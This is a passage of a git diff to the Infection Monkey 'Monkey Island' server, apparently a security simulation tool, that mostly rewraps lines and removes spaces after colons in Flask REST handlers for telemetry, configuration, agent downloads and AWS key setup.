'":"",') + request_data.decode() + .replace('"\n', "") + .replace("\n", "") + .replace('NAME="', "") + .replace('":",', '":"",') ) return parsed_data diff --git a/monkey/monkey_island/cc/resources/bootloader_test.py b/monkey/monkey_island/cc/resources/bootloader_test.py index 83d780aa4d8..d8fd05451ac 100644 --- a/monkey/monkey_island/cc/resources/bootloader_test.py +++ b/monkey/monkey_island/cc/resources/bootloader_test.py @@ -43,12 +43,18 @@ def test_get_request_contents_windows(self): b'{\x00"\x00s\x00y\x00s\x00t\x00e\x00m\x00"\x00:\x00"\x00w\x00i\x00n\x00d\x00o' b'\x00w\x00s\x00"\x00,\x00 \x00"\x00o\x00s\x00_\x00v\x00e\x00r\x00s\x00i\x00o\x00n' b'\x00"\x00:\x00"\x00w\x00i\x00n\x00d\x00o\x00w\x00s\x008\x00_\x00o\x00r\x00_\x00g\x00r' - b'\x00e\x00a\x00t\x00e\x00r\x00"\x00,\x00 \x00"\x00h\x00o\x00s\x00t\x00n\x00a\x00m\x00e\x00"' - b'\x00:\x00"\x00D\x00E\x00S\x00K\x00T\x00O\x00P\x00-\x00P\x00J\x00H\x00U\x003\x006\x00B\x00"' - b'\x00,\x00 \x00"\x00t\x00u\x00n\x00n\x00e\x00l\x00"\x00:\x00f\x00a\x00l\x00s\x00e\x00,\x00 ' - b'\x00"\x00i\x00p\x00s\x00"\x00:\x00 \x00[\x00"\x001\x009\x002\x00.\x001\x006\x008\x00.\x005' - b'\x006\x00.\x001\x00"\x00,\x00 \x00"\x001\x009\x002\x00.\x001\x006\x008\x00.\x002\x004\x009' - b'\x00.\x001\x00"\x00,\x00 \x00"\x001\x009\x002\x00.\x001\x006\x008\x00.\x002\x001\x007\x00.' + b'\x00e\x00a\x00t\x00e\x00r\x00"\x00,\x00 ' + b'\x00"\x00h\x00o\x00s\x00t\x00n\x00a\x00m\x00e\x00"' + b'\x00:\x00"\x00D\x00E\x00S\x00K\x00T\x00O\x00P\x00-\x00P\x00J\x00H\x00U\x003\x006' + b'\x00B\x00"' + b'\x00,\x00 \x00"\x00t\x00u\x00n\x00n\x00e\x00l\x00"\x00:\x00f\x00a\x00l\x00s\x00e' + b"\x00,\x00 " + b'\x00"\x00i\x00p\x00s\x00"\x00:\x00 \x00[' + b'\x00"\x001\x009\x002\x00.\x001\x006\x008\x00.\x005' + b'\x006\x00.\x001\x00"\x00,\x00 ' + b'\x00"\x001\x009\x002\x00.\x001\x006\x008\x00.\x002\x004\x009' + b'\x00.\x001\x00"\x00,\x00 ' + b'\x00"\x001\x009\x002\x00.\x001\x006\x008\x00.\x002\x001\x007\x00.' b'\x001\x00"\x00]\x00}\x00' ) diff --git a/monkey/monkey_island/cc/resources/edge.py b/monkey/monkey_island/cc/resources/edge.py index 4985d8a4d00..83de87c0428 100644 --- a/monkey/monkey_island/cc/resources/edge.py +++ b/monkey/monkey_island/cc/resources/edge.py @@ -11,6 +11,6 @@ def get(self): edge_id = request.args.get("id") displayed_edge = DisplayedEdgeService.get_displayed_edge_by_id(edge_id) if edge_id: - return {"edge": displayed_edge} + return {"edge":displayed_edge} return {} diff --git a/monkey/monkey_island/cc/resources/environment.py b/monkey/monkey_island/cc/resources/environment.py index 03333b029d6..f435ea2a6c3 100644 --- a/monkey/monkey_island/cc/resources/environment.py +++ b/monkey/monkey_island/cc/resources/environment.py @@ -16,6 +16,7 @@ def patch(self): if env_singleton.env.needs_registration(): env_singleton.set_to_standard() logger.warning( - "No user registered, Island on standard mode - no credentials required to access." + "No user registered, Island on standard mode - no credentials required to " + "access." ) return {} diff --git a/monkey/monkey_island/cc/resources/island_configuration.py b/monkey/monkey_island/cc/resources/island_configuration.py index 42730e477bc..2eac52375f1 100644 --- a/monkey/monkey_island/cc/resources/island_configuration.py +++ b/monkey/monkey_island/cc/resources/island_configuration.py @@ -11,8 +11,8 @@ class IslandConfiguration(flask_restful.Resource): @jwt_required def get(self): return jsonify( - schema=ConfigService.get_config_schema(), - configuration=ConfigService.get_config(False, True, True), + schema=ConfigService.get_config_schema(), + configuration=ConfigService.get_config(False, True, True), ) @jwt_required diff --git a/monkey/monkey_island/cc/resources/local_run.py b/monkey/monkey_island/cc/resources/local_run.py index 727357ab375..73472defa41 100644 --- a/monkey/monkey_island/cc/resources/local_run.py +++ b/monkey/monkey_island/cc/resources/local_run.py @@ -17,7 +17,6 @@ __author__ = "Barak" - logger = logging.getLogger(__name__) @@ -34,7 +33,8 @@ def run_local_monkey(): monkey_path = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "binaries", result["filename"]) target_path = os.path.join(env_singleton.env.get_config().data_dir_abs_path, result["filename"]) - # copy the executable to temp path (don't run the monkey from its current location as it may delete itself) + # copy the executable to temp path (don't run the monkey from its current location as it may + # delete itself) try: copyfile(monkey_path, target_path) os.chmod(target_path, stat.S_IRWXU | stat.S_IRWXG) @@ -78,4 +78,4 @@ def post(self): return jsonify(is_running=local_run[0], error_text=local_run[1]) # default action - return make_response({"error": "Invalid action"}, 500) + return make_response({"error":"Invalid action"}, 500) diff --git a/monkey/monkey_island/cc/resources/log.py b/monkey/monkey_island/cc/resources/log.py index aae23fed3a5..fd8b269bcba 100644 --- a/monkey/monkey_island/cc/resources/log.py +++ b/monkey/monkey_island/cc/resources/log.py @@ -33,4 +33,4 @@ def post(self): log_data = str(telemetry_json["log"]) log_id = LogService.add_log(monkey_id, log_data) - return mongo.db.log.find_one_or_404({"_id": log_id}) + return mongo.db.log.find_one_or_404({"_id":log_id}) diff --git a/monkey/monkey_island/cc/resources/monkey.py b/monkey/monkey_island/cc/resources/monkey.py index 66dbd881a32..221268eaa5f 100644 --- a/monkey/monkey_island/cc/resources/monkey.py +++ b/monkey/monkey_island/cc/resources/monkey.py @@ -28,7 +28,7 @@ def get(self, guid=None, **kw): guid = request.args.get("guid") if guid: - monkey_json = mongo.db.monkey.find_one_or_404({"guid": guid}) + monkey_json = mongo.db.monkey.find_one_or_404({"guid":guid}) monkey_json["config"] = ConfigService.decrypt_flat_config(monkey_json["config"]) return monkey_json @@ -38,7 +38,7 @@ def get(self, guid=None, **kw): @TestTelemStore.store_test_telem def patch(self, guid): monkey_json = json.loads(request.data) - update = {"$set": {"modifytime": datetime.now()}} + update = {"$set":{"modifytime":datetime.now()}} monkey = NodeService.get_monkey_by_guid(guid) if "keepalive" in monkey_json: update["$set"]["keepalive"] = dateutil.parser.parse(monkey_json["keepalive"]) @@ -56,7 +56,7 @@ def patch(self, guid): ttl = create_monkey_ttl_document(DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS) update["$set"]["ttl_ref"] = ttl.id - return mongo.db.monkey.update({"_id": monkey["_id"]}, update, upsert=False) + return mongo.db.monkey.update({"_id":monkey["_id"]}, update, upsert=False) # Used by monkey. can't secure. # Called on monkey wakeup to initialize local configuration @@ -75,7 +75,7 @@ def post(self, **kw): ConfigService.save_initial_config_if_needed() # if new monkey telem, change config according to "new monkeys" config. - db_monkey = mongo.db.monkey.find_one({"guid": monkey_json["guid"]}) + db_monkey = mongo.db.monkey.find_one({"guid":monkey_json["guid"]}) # Update monkey configuration new_config = ConfigService.get_flat_config(False, False) @@ -89,12 +89,12 @@ def post(self, **kw): exploit_telem = [ x for x in mongo.db.telemetry.find( - { - "telem_category": {"$eq": "exploit"}, - "data.result": {"$eq": True}, - "data.machine.ip_addr": {"$in": monkey_json["ip_addresses"]}, - "monkey_guid": {"$eq": parent}, - } + { + "telem_category":{"$eq":"exploit"}, + "data.result":{"$eq":True}, + "data.machine.ip_addr":{"$in":monkey_json["ip_addresses"]}, + "monkey_guid":{"$eq":parent}, + } ) ] if 1 == len(exploit_telem): @@ -108,11 +108,11 @@ def post(self, **kw): exploit_telem = [ x for x in mongo.db.telemetry.find( - { - "telem_category": {"$eq": "exploit"}, - "data.result": {"$eq": True}, - "data.machine.ip_addr": {"$in": monkey_json["ip_addresses"]}, - } + { + "telem_category":{"$eq":"exploit"}, + "data.result":{"$eq":True}, + "data.machine.ip_addr":{"$in":monkey_json["ip_addresses"]}, + } ) ] @@ -135,17 +135,17 @@ def post(self, **kw): ttl = create_monkey_ttl_document(DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS) monkey_json["ttl_ref"] = ttl.id - mongo.db.monkey.update({"guid": monkey_json["guid"]}, {"$set": monkey_json}, upsert=True) + mongo.db.monkey.update({"guid":monkey_json["guid"]}, {"$set":monkey_json}, upsert=True) # Merge existing scanned node with new monkey - new_monkey_id = mongo.db.monkey.find_one({"guid": monkey_json["guid"]})["_id"] + new_monkey_id = mongo.db.monkey.find_one({"guid":monkey_json["guid"]})["_id"] if tunnel_host_ip is not None: NodeService.set_monkey_tunnel(new_monkey_id, tunnel_host_ip) existing_node = mongo.db.node.find_one( - {"ip_addresses": {"$in": monkey_json["ip_addresses"]}} + {"ip_addresses":{"$in":monkey_json["ip_addresses"]}} ) if existing_node: @@ -153,6 +153,6 @@ def post(self, **kw): EdgeService.update_all_dst_nodes(old_dst_node_id=node_id, new_dst_node_id=new_monkey_id) for creds in existing_node["creds"]: NodeService.add_credentials_to_monkey(new_monkey_id, creds) - mongo.db.node.remove({"_id": node_id}) + mongo.db.node.remove({"_id":node_id}) - return {"id": new_monkey_id} + return {"id":new_monkey_id} diff --git a/monkey/monkey_island/cc/resources/monkey_configuration.py b/monkey/monkey_island/cc/resources/monkey_configuration.py index d4e415e8861..a6dd3862ca9 100644 --- a/monkey/monkey_island/cc/resources/monkey_configuration.py +++ b/monkey/monkey_island/cc/resources/monkey_configuration.py @@ -13,8 +13,8 @@ class MonkeyConfiguration(flask_restful.Resource): @jwt_required def get(self): return jsonify( - schema=ConfigService.get_config_schema(), - configuration=ConfigService.get_config(False, True), + schema=ConfigService.get_config_schema(), + configuration=ConfigService.get_config(False, True), ) @jwt_required diff --git a/monkey/monkey_island/cc/resources/monkey_control/remote_port_check.py b/monkey/monkey_island/cc/resources/monkey_control/remote_port_check.py index 06e49b145ba..306d5b345d6 100644 --- a/monkey/monkey_island/cc/resources/monkey_control/remote_port_check.py +++ b/monkey/monkey_island/cc/resources/monkey_control/remote_port_check.py @@ -9,6 +9,6 @@ class RemotePortCheck(flask_restful.Resource): # Used by monkey. can't secure. def get(self, port): if port and check_tcp_port(request.remote_addr, port): - return {"status": "port_visible"} + return {"status":"port_visible"} else: - return {"status": "port_invisible"} + return {"status":"port_invisible"} diff --git a/monkey/monkey_island/cc/resources/monkey_download.py b/monkey/monkey_island/cc/resources/monkey_download.py index 5620425aa07..bb530b2e356 100644 --- a/monkey/monkey_island/cc/resources/monkey_download.py +++ b/monkey/monkey_island/cc/resources/monkey_download.py @@ -14,47 +14,47 @@ MONKEY_DOWNLOADS = [ { - "type": "linux", - "machine": "x86_64", - "filename": "monkey-linux-64", + "type":"linux", + "machine":"x86_64", + "filename":"monkey-linux-64", }, { - "type": "linux", - "machine": "i686", - "filename": "monkey-linux-32", + "type":"linux", + "machine":"i686", + "filename":"monkey-linux-32", }, { - "type": "linux", - "machine": "i386", - "filename": "monkey-linux-32", + "type":"linux", + "machine":"i386", + "filename":"monkey-linux-32", }, { - "type": "linux", - "filename": "monkey-linux-64", + "type":"linux", + "filename":"monkey-linux-64", }, { - "type": "windows", - "machine": "x86", - "filename": "monkey-windows-32.exe", + "type":"windows", + "machine":"x86", + "filename":"monkey-windows-32.exe", }, { - "type": "windows", - "machine": "amd64", - "filename": "monkey-windows-64.exe", + "type":"windows", + "machine":"amd64", + "filename":"monkey-windows-64.exe", }, { - "type": "windows", - "machine": "64", - "filename": "monkey-windows-64.exe", + "type":"windows", + "machine":"64", + "filename":"monkey-windows-64.exe", }, { - "type": "windows", - "machine": "32", - "filename": "monkey-windows-32.exe", + "type":"windows", + "machine":"32", + "filename":"monkey-windows-32.exe", }, { - "type": "windows", - "filename": "monkey-windows-32.exe", + "type":"windows", + "filename":"monkey-windows-32.exe", }, ] @@ -65,9 +65,8 @@ def get_monkey_executable(host_os, machine): logger.info("Monkey exec found for os: {0} and machine: {1}".format(host_os, machine)) return download logger.warning( - "No monkey executables could be found for the host os or machine or both: host_os: {0}, machine: {1}".format( - host_os, machine - ) + "No monkey executables could be found for the host os or machine or both: host_os: {" + "0}, machine: {1}".format(host_os, machine) ) return None @@ -103,7 +102,8 @@ def get_executable_full_path(executable_filename): @staticmethod def log_executable_hashes(): """ - Logs all the hashes of the monkey executables for debugging ease (can check what Monkey version you have etc.). + Logs all the hashes of the monkey executables for debugging ease (can check what Monkey + version you have etc.). """ filenames = set([x["filename"] for x in MONKEY_DOWNLOADS]) for filename in filenames: @@ -112,9 +112,9 @@ def log_executable_hashes(): with open(filepath, "rb") as monkey_exec_file: file_contents = monkey_exec_file.read() logger.debug( - "{} hashes:\nSHA-256 {}".format( - filename, hashlib.sha256(file_contents).hexdigest() - ) + "{} hashes:\nSHA-256 {}".format( + filename, hashlib.sha256(file_contents).hexdigest() + ) ) else: logger.debug("No monkey executable for {}.".format(filepath)) diff --git a/monkey/monkey_island/cc/resources/netmap.py b/monkey/monkey_island/cc/resources/netmap.py index 1dfa14657e2..6012a46f6f4 100644 --- a/monkey/monkey_island/cc/resources/netmap.py +++ b/monkey/monkey_island/cc/resources/netmap.py @@ -13,4 +13,4 @@ def get(self, **kw): net_nodes = NetNodeService.get_all_net_nodes() net_edges = NetEdgeService.get_all_net_edges() - return {"nodes": net_nodes, "edges": net_edges} + return {"nodes":net_nodes, "edges":net_edges} diff --git a/monkey/monkey_island/cc/resources/node_states.py b/monkey/monkey_island/cc/resources/node_states.py index 073aafffd38..31e3ae73c7b 100644 --- a/monkey/monkey_island/cc/resources/node_states.py +++ b/monkey/monkey_island/cc/resources/node_states.py @@ -7,4 +7,4 @@ class NodeStates(flask_restful.Resource): @jwt_required def get(self): - return {"node_states": [state.value for state in NodeStateList]} + return {"node_states":[state.value for state in NodeStateList]} diff --git a/monkey/monkey_island/cc/resources/pba_file_upload.py b/monkey/monkey_island/cc/resources/pba_file_upload.py index 36f138f1055..c9c4d1f2798 100644 --- a/monkey/monkey_island/cc/resources/pba_file_upload.py +++ b/monkey/monkey_island/cc/resources/pba_file_upload.py @@ -90,6 +90,6 @@ def upload_pba_file(request_, is_linux=True): file_path = ABS_UPLOAD_PATH.joinpath(filename).absolute() request_.files["filepond"].save(str(file_path)) ConfigService.set_config_value( - (PBA_LINUX_FILENAME_PATH if is_linux else PBA_WINDOWS_FILENAME_PATH), filename + (PBA_LINUX_FILENAME_PATH if is_linux else PBA_WINDOWS_FILENAME_PATH), filename ) return filename diff --git a/monkey/monkey_island/cc/resources/remote_run.py b/monkey/monkey_island/cc/resources/remote_run.py index 0e6e6df1057..e6a4f72b606 100644 --- a/monkey/monkey_island/cc/resources/remote_run.py +++ b/monkey/monkey_island/cc/resources/remote_run.py @@ -33,7 +33,7 @@ def get(self): action = request.args.get("action") if action == "list_aws": is_aws = RemoteRunAwsService.is_running_on_aws() - resp = {"is_aws": is_aws} + resp = {"is_aws":is_aws} if is_aws: try: resp["instances"] = AwsService.get_instances() @@ -58,4 +58,4 @@ def post(self): return jsonify(resp) # default action - return make_response({"error": "Invalid action"}, 500) + return make_response({"error":"Invalid action"}, 500) diff --git a/monkey/monkey_island/cc/resources/root.py b/monkey/monkey_island/cc/resources/root.py index 57d20904afc..5b9cec543ef 100644 --- a/monkey/monkey_island/cc/resources/root.py +++ b/monkey/monkey_island/cc/resources/root.py @@ -30,14 +30,14 @@ def get(self, action=None): elif action == "killall": return jwt_required(InfectionLifecycle.kill_all)() elif action == "is-up": - return {"is-up": True} + return {"is-up":True} else: - return make_response(400, {"error": "unknown action"}) + return make_response(400, {"error":"unknown action"}) @jwt_required def get_server_info(self): return jsonify( - ip_addresses=local_ip_addresses(), - mongo=str(mongo.db), - completed_steps=InfectionLifecycle.get_completed_steps(), + ip_addresses=local_ip_addresses(), + mongo=str(mongo.db), + completed_steps=InfectionLifecycle.get_completed_steps(), ) diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index 9bf2f7ddab4..b769a4ad508 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -28,18 +28,18 @@ def get(self, **kw): if "null" == timestamp: # special case to avoid ugly JS code... timestamp = None - result = {"timestamp": datetime.now().isoformat()} + result = {"timestamp":datetime.now().isoformat()} find_filter = {} if monkey_guid: - find_filter["monkey_guid"] = {"$eq": monkey_guid} + find_filter["monkey_guid"] = {"$eq":monkey_guid} if telem_category: - find_filter["telem_category"] = {"$eq": telem_category} + find_filter["telem_category"] = {"$eq":telem_category} if timestamp: - find_filter["timestamp"] = {"$gt": dateutil.parser.parse(timestamp)} + find_filter["timestamp"] = {"$gt":dateutil.parser.parse(timestamp)} result["objects"] = self.telemetry_to_displayed_telemetry( - mongo.db.telemetry.find(find_filter) + mongo.db.telemetry.find(find_filter) ) return result @@ -50,8 +50,8 @@ def post(self): telemetry_json["data"] = json.loads(telemetry_json["data"]) telemetry_json["timestamp"] = datetime.now() telemetry_json["command_control_channel"] = { - "src": request.remote_addr, - "dst": request.host, + "src":request.remote_addr, + "dst":request.host, } # Monkey communicated, so it's alive. Update the TTL. @@ -63,7 +63,7 @@ def post(self): process_telemetry(telemetry_json) telem_id = mongo.db.telemetry.insert(telemetry_json) - return mongo.db.telemetry.find_one_or_404({"_id": telem_id}) + return mongo.db.telemetry.find_one_or_404({"_id":telem_id}) @staticmethod def telemetry_to_displayed_telemetry(telemetry): diff --git a/monkey/monkey_island/cc/resources/telemetry_feed.py b/monkey/monkey_island/cc/resources/telemetry_feed.py index 4a2972cdbfa..6d12d204e4e 100644 --- a/monkey/monkey_island/cc/resources/telemetry_feed.py +++ b/monkey/monkey_island/cc/resources/telemetry_feed.py @@ -24,38 +24,38 @@ def get(self, **kw): telemetries = mongo.db.telemetry.find({}) else: telemetries = mongo.db.telemetry.find( - {"timestamp": {"$gt": dateutil.parser.parse(timestamp)}} + {"timestamp":{"$gt":dateutil.parser.parse(timestamp)}} ) telemetries = telemetries.sort([("timestamp", flask_pymongo.ASCENDING)]) try: return { - "telemetries": [ + "telemetries":[ TelemetryFeed.get_displayed_telemetry(telem) for telem in telemetries if TelemetryFeed.should_show_brief(telem) ], - "timestamp": datetime.now().isoformat(), + "timestamp":datetime.now().isoformat(), } except KeyError as err: logger.error("Failed parsing telemetries. Error: {0}.".format(err)) - return {"telemetries": [], "timestamp": datetime.now().isoformat()} + return {"telemetries":[], "timestamp":datetime.now().isoformat()} @staticmethod def get_displayed_telemetry(telem): monkey = NodeService.get_monkey_by_guid(telem["monkey_guid"]) default_hostname = "GUID-" + telem["monkey_guid"] return { - "id": telem["_id"], - "timestamp": telem["timestamp"].strftime("%d/%m/%Y %H:%M:%S"), - "hostname": monkey.get("hostname", default_hostname) if monkey else default_hostname, - "brief": TelemetryFeed.get_telem_brief(telem), + "id":telem["_id"], + "timestamp":telem["timestamp"].strftime("%d/%m/%Y %H:%M:%S"), + "hostname":monkey.get("hostname", default_hostname) if monkey else default_hostname, + "brief":TelemetryFeed.get_telem_brief(telem), } @staticmethod def get_telem_brief(telem): telem_brief_parser = TelemetryFeed.get_telem_brief_parser_by_category( - telem["telem_category"] + telem["telem_category"] ) return telem_brief_parser(telem) @@ -116,11 +116,11 @@ def should_show_brief(telem): TELEM_PROCESS_DICT = { - TelemCategoryEnum.TUNNEL: TelemetryFeed.get_tunnel_telem_brief, - TelemCategoryEnum.STATE: TelemetryFeed.get_state_telem_brief, - TelemCategoryEnum.EXPLOIT: TelemetryFeed.get_exploit_telem_brief, - TelemCategoryEnum.SCAN: TelemetryFeed.get_scan_telem_brief, - TelemCategoryEnum.SYSTEM_INFO: TelemetryFeed.get_systeminfo_telem_brief, - TelemCategoryEnum.TRACE: TelemetryFeed.get_trace_telem_brief, - TelemCategoryEnum.POST_BREACH: TelemetryFeed.get_post_breach_telem_brief, + TelemCategoryEnum.TUNNEL:TelemetryFeed.get_tunnel_telem_brief, + TelemCategoryEnum.STATE:TelemetryFeed.get_state_telem_brief, + TelemCategoryEnum.EXPLOIT:TelemetryFeed.get_exploit_telem_brief, + TelemCategoryEnum.SCAN:TelemetryFeed.get_scan_telem_brief, + TelemCategoryEnum.SYSTEM_INFO:TelemetryFeed.get_systeminfo_telem_brief, + TelemCategoryEnum.TRACE:TelemetryFeed.get_trace_telem_brief, + TelemCategoryEnum.POST_BREACH:TelemetryFeed.get_post_breach_telem_brief, } diff --git a/monkey/monkey_island/cc/resources/test/clear_caches.py b/monkey/monkey_island/cc/resources/test/clear_caches.py index 04c6b31d8f8..34c1ded0fec 100644 --- a/monkey/monkey_island/cc/resources/test/clear_caches.py +++ b/monkey/monkey_island/cc/resources/test/clear_caches.py @@ -13,7 +13,8 @@ class ClearCaches(flask_restful.Resource): """ - Used for timing tests - we want to get actual execution time of functions in BlackBox without caching - + Used for timing tests - we want to get actual execution time of functions in BlackBox without + caching - so we use this to clear the caches. :note: DO NOT CALL THIS IN PRODUCTION CODE as this will slow down the user experience. """ @@ -33,4 +34,4 @@ def get(self, **kw): logger.error(NOT_ALL_REPORTS_DELETED) flask_restful.abort(500, error_info=NOT_ALL_REPORTS_DELETED) - return {"success": "true"} + return {"success":"true"} diff --git a/monkey/monkey_island/cc/resources/test/log_test.py b/monkey/monkey_island/cc/resources/test/log_test.py index c6ec50f7122..ab81da08e46 100644 --- a/monkey/monkey_island/cc/resources/test/log_test.py +++ b/monkey/monkey_island/cc/resources/test/log_test.py @@ -12,6 +12,6 @@ def get(self): find_query = json_util.loads(request.args.get("find_query")) log = mongo.db.log.find_one(find_query) if not log: - return {"results": None} + return {"results":None} log_file = database.gridfs.get(log["file_id"]) - return {"results": log_file.read().decode()} + return {"results":log_file.read().decode()} diff --git a/monkey/monkey_island/cc/resources/test/monkey_test.py b/monkey/monkey_island/cc/resources/test/monkey_test.py index 1122141d22e..4d96d926851 100644 --- a/monkey/monkey_island/cc/resources/test/monkey_test.py +++ b/monkey/monkey_island/cc/resources/test/monkey_test.py @@ -10,4 +10,4 @@ class MonkeyTest(flask_restful.Resource): @jwt_required def get(self, **kw): find_query = json_util.loads(request.args.get("find_query")) - return {"results": list(mongo.db.monkey.find(find_query))} + return {"results":list(mongo.db.monkey.find(find_query))} diff --git a/monkey/monkey_island/cc/resources/test/telemetry_test.py b/monkey/monkey_island/cc/resources/test/telemetry_test.py index 54be08d712c..e75e821a5e1 100644 --- a/monkey/monkey_island/cc/resources/test/telemetry_test.py +++ b/monkey/monkey_island/cc/resources/test/telemetry_test.py @@ -10,4 +10,4 @@ class TelemetryTest(flask_restful.Resource): @jwt_required def get(self, **kw): find_query = json_util.loads(request.args.get("find_query")) - return {"results": list(mongo.db.telemetry.find(find_query))} + return {"results":list(mongo.db.telemetry.find(find_query))} diff --git a/monkey/monkey_island/cc/resources/test/utils/telem_store.py b/monkey/monkey_island/cc/resources/test/utils/telem_store.py index 5920c8da30f..d40d0624318 100644 --- a/monkey/monkey_island/cc/resources/test/utils/telem_store.py +++ b/monkey/monkey_island/cc/resources/test/utils/telem_store.py @@ -12,13 +12,11 @@ TELEM_SAMPLE_DIR = "./telem_sample" MAX_SAME_CATEGORY_TELEMS = 10000 - logging.basicConfig(level=logging.INFO) logger = logging.getLogger(__name__) class TestTelemStore: - TELEMS_EXPORTED = False @staticmethod @@ -32,13 +30,13 @@ def decorated_function(*args, **kwargs): endpoint = request.path name = ( str(request.url_rule) - .replace("/", "_") - .replace("<", "_") - .replace(">", "_") - .replace(":", "_") + .replace("/", "_") + .replace("<", "_") + .replace(">", "_") + .replace(":", "_") ) TestTelem( - name=name, method=method, endpoint=endpoint, content=content, time=time + name=name, method=method, endpoint=endpoint, content=content, time=time ).save() return f(*args, **kwargs) @@ -55,8 +53,9 @@ def export_test_telems(): mkdir(TELEM_SAMPLE_DIR) for test_telem in TestTelem.objects(): with open( - TestTelemStore.get_unique_file_path_for_test_telem(TELEM_SAMPLE_DIR, test_telem), - "w", + TestTelemStore.get_unique_file_path_for_test_telem(TELEM_SAMPLE_DIR, + test_telem), + "w", ) as file: file.write(test_telem.to_json(indent=2)) TestTelemStore.TELEMS_EXPORTED = True @@ -71,7 +70,7 @@ def get_unique_file_path_for_test_telem(target_dir: str, test_telem: TestTelem): continue return potential_filepath raise Exception( - f"Too many telemetries of the same category. Max amount {MAX_SAME_CATEGORY_TELEMS}" + f"Too many telemetries of the same category. Max amount {MAX_SAME_CATEGORY_TELEMS}" ) @staticmethod diff --git a/monkey/monkey_island/cc/resources/version_update.py b/monkey/monkey_island/cc/resources/version_update.py index 87aa96153f1..76651487a7d 100644 --- a/monkey/monkey_island/cc/resources/version_update.py +++ b/monkey/monkey_island/cc/resources/version_update.py @@ -18,7 +18,7 @@ def __init__(self): # even when not authenticated def get(self): return { - "current_version": get_version(), - "newer_version": VersionUpdateService.get_newer_version(), - "download_link": VersionUpdateService.get_download_link(), + "current_version":get_version(), + "newer_version":VersionUpdateService.get_newer_version(), + "download_link":VersionUpdateService.get_download_link(), } diff --git a/monkey/monkey_island/cc/resources/zero_trust/finding_event.py b/monkey/monkey_island/cc/resources/zero_trust/finding_event.py index ce99390da3e..6283bf75a59 100644 --- a/monkey/monkey_island/cc/resources/zero_trust/finding_event.py +++ b/monkey/monkey_island/cc/resources/zero_trust/finding_event.py @@ -12,7 +12,7 @@ class ZeroTrustFindingEvent(flask_restful.Resource): @jwt_required def get(self, finding_id: str): return { - "events_json": json.dumps( - MonkeyZTFindingService.get_events_by_finding(finding_id), default=str + "events_json":json.dumps( + MonkeyZTFindingService.get_events_by_finding(finding_id), default=str ) } diff --git a/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/scoutsuite_auth.py b/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/scoutsuite_auth.py index 5197b197253..e719cae3649 100644 --- a/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/scoutsuite_auth.py +++ b/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/scoutsuite_auth.py @@ -17,9 +17,9 @@ class ScoutSuiteAuth(flask_restful.Resource): def get(self, provider: CloudProviders): if provider == CloudProviders.AWS.value: is_setup, message = is_cloud_authentication_setup(provider) - return {"is_setup": is_setup, "message": message} + return {"is_setup":is_setup, "message":message} else: - return {"is_setup": False, "message": ""} + return {"is_setup":False, "message":""} @jwt_required def post(self, provider: CloudProviders): @@ -28,10 +28,10 @@ def post(self, provider: CloudProviders): if provider == CloudProviders.AWS.value: try: set_aws_keys( - access_key_id=key_info["accessKeyId"], - secret_access_key=key_info["secretAccessKey"], - session_token=key_info["sessionToken"], + access_key_id=key_info["accessKeyId"], + secret_access_key=key_info["secretAccessKey"], + session_token=key_info["sessionToken"], ) except InvalidAWSKeys as e: error_msg = str(e) - return {"error_msg": error_msg} + return {"error_msg":error_msg} diff --git a/monkey/monkey_island/cc/resources/zero_trust/zero_trust_report.py b/monkey/monkey_island/cc/resources/zero_trust/zero_trust_report.py index 8b3ce9419e9..d8a6cfc64c7 100644 --- a/monkey/monkey_island/cc/resources/zero_trust/zero_trust_report.py +++ b/monkey/monkey_island/cc/resources/zero_trust/zero_trust_report.py @@ -31,7 +31,7 @@ def get(self, report_data=None): elif report_data == REPORT_DATA_SCOUTSUITE: # Raw ScoutSuite data is already solved as json, no need to jsonify return Response( - ScoutSuiteRawDataService.get_scoutsuite_data_json(), mimetype="application/json" + ScoutSuiteRawDataService.get_scoutsuite_data_json(), mimetype="application/json" ) flask_restful.abort(http.client.NOT_FOUND) diff --git a/monkey/monkey_island/cc/server_utils/bootloader_server.py b/monkey/monkey_island/cc/server_utils/bootloader_server.py index 1532f1a8dc9..f0908e57bdd 100644 --- a/monkey/monkey_island/cc/server_utils/bootloader_server.py +++ b/monkey/monkey_island/cc/server_utils/bootloader_server.py @@ -27,14 +27,14 @@ def do_POST(self): content_length = int(self.headers["Content-Length"]) post_data = self.rfile.read(content_length).decode() island_server_path = BootloaderHTTPRequestHandler.get_bootloader_resource_url( - self.request.getsockname()[0] + self.request.getsockname()[0] ) island_server_path = parse.urljoin(island_server_path, self.path[1:]) # The island server doesn't always have a correct SSL cert installed # (By default it comes with a self signed one), # that's why we're not verifying the cert in this request. r = requests.post( - url=island_server_path, data=post_data, verify=False, timeout=SHORT_REQUEST_TIMEOUT + url=island_server_path, data=post_data, verify=False, timeout=SHORT_REQUEST_TIMEOUT ) # noqa: DUO123 try: diff --git a/monkey/monkey_island/cc/server_utils/consts.py b/monkey/monkey_island/cc/server_utils/consts.py index 67c7209eb21..b89bf4e1876 100644 --- a/monkey/monkey_island/cc/server_utils/consts.py +++ b/monkey/monkey_island/cc/server_utils/consts.py @@ -8,11 +8,11 @@ DEFAULT_SERVER_CONFIG_PATH = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "server_config.json") DEFAULT_DEVELOP_SERVER_CONFIG_PATH = os.path.join( - MONKEY_ISLAND_ABS_PATH, "cc", "server_config.json.develop" + MONKEY_ISLAND_ABS_PATH, "cc", "server_config.json.develop" ) DEFAULT_LOGGER_CONFIG_PATH = os.path.join( - MONKEY_ISLAND_ABS_PATH, "cc", "island_logger_default_config.json" + MONKEY_ISLAND_ABS_PATH, "cc", "island_logger_default_config.json" ) DEFAULT_DATA_DIR = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc") diff --git a/monkey/monkey_island/cc/server_utils/encryptor.py b/monkey/monkey_island/cc/server_utils/encryptor.py index 60ab8ead94a..95b206674b9 100644 --- a/monkey/monkey_island/cc/server_utils/encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryptor.py @@ -34,11 +34,11 @@ def _load_existing_key(self, password_file): def _pad(self, message): return 